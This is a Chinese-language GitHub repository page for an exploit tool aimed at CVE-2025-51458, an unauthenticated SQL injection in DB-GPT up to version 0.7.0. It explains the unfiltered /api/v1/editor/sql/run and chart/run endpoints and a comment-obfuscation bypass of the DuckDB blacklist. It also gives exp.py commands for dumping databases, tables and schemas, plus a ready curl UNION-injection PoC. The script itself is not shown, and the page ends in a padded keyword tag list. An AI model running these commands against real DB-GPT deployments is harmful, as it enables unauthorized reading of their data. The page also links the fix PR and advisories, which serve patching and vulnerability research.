q1uf3ng/CVE-2025-51458-exp
GitHub: q1uf3ng/CVE-2025-51458-exp
该工具针对 DB-GPT 未授权预认证 SQL 注入漏洞提供 PoC 验证与利用能力。
Stars: 0 | Forks: 0
# CVE-2025-51458-exp
未授权身份验证前 SQL 注入存在于 [DB-GPT](https://github.com/eosphoros-ai/DB-GPT) <= 0.7.0
## 概述
`/api/v1/editor/sql/run` 和 `/api/v1/editor/chart/run` 端点接受未经身份验证的任意 SQL。`sanitize_sql` 黑名单仅覆盖 DuckDB;MySQL、PostgreSQL 和 SQLite 连接接收未经过滤的原始用户输入。DuckDB 黑名单本身可通过注释混淆(`SEL/**/ECT`)绕过。
这是对 CVE-2024-10835 和 CVE-2024-10901 的绕过。
- **CVSS:** 6.5(中危)
- **类型:** CWE-89(SQL 注入)
- **认证:** 无需身份验证(Pre-Auth)
- **受影响版本:** DB-GPT <= 0.7.0
- **修复版本:** [PR #2650](https://github.com/eosphoros-ai/DB-GPT/pull/2650)
## 使用方法
```
# 列出数据库
python3 exp.py http://target:5670 --list-dbs
# 执行 SQL
python3 exp.py http://target:5670 --sql "SELECT VERSION()"
# 转储表
python3 exp.py http://target:5670 --dump-tables
# 转储架构
python3 exp.py http://target:5670 --dump-db
# DuckDB 绕过
python3 exp.py http://target:5670 --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# 交互模式
python3 exp.py http://target:5670
```
## 快速 PoC
```
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'
```
## 参考
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-51458)
- [Gecko Security 博客](https://www.gecko.security/blog/cve-2025-51458)
- [修复 PR #2650](https://github.com/eosphoros-ai/DB-GPT/pull/2650)
标签:API安全, CISA项目, CVE-2025-51458, CWE-89, DB-GPT, HTTP请求, JSON输出, Linux取证, PoC, Python, REST API, SEO, Web安全, 关键词优化, 安全测试, 攻击性安全, 无后门, 暴力破解, 漏洞分析, 端点安全, 蓝队分析, 补丁管理, 路径探测, 逆向工具, 预认证绕过, 黑盒测试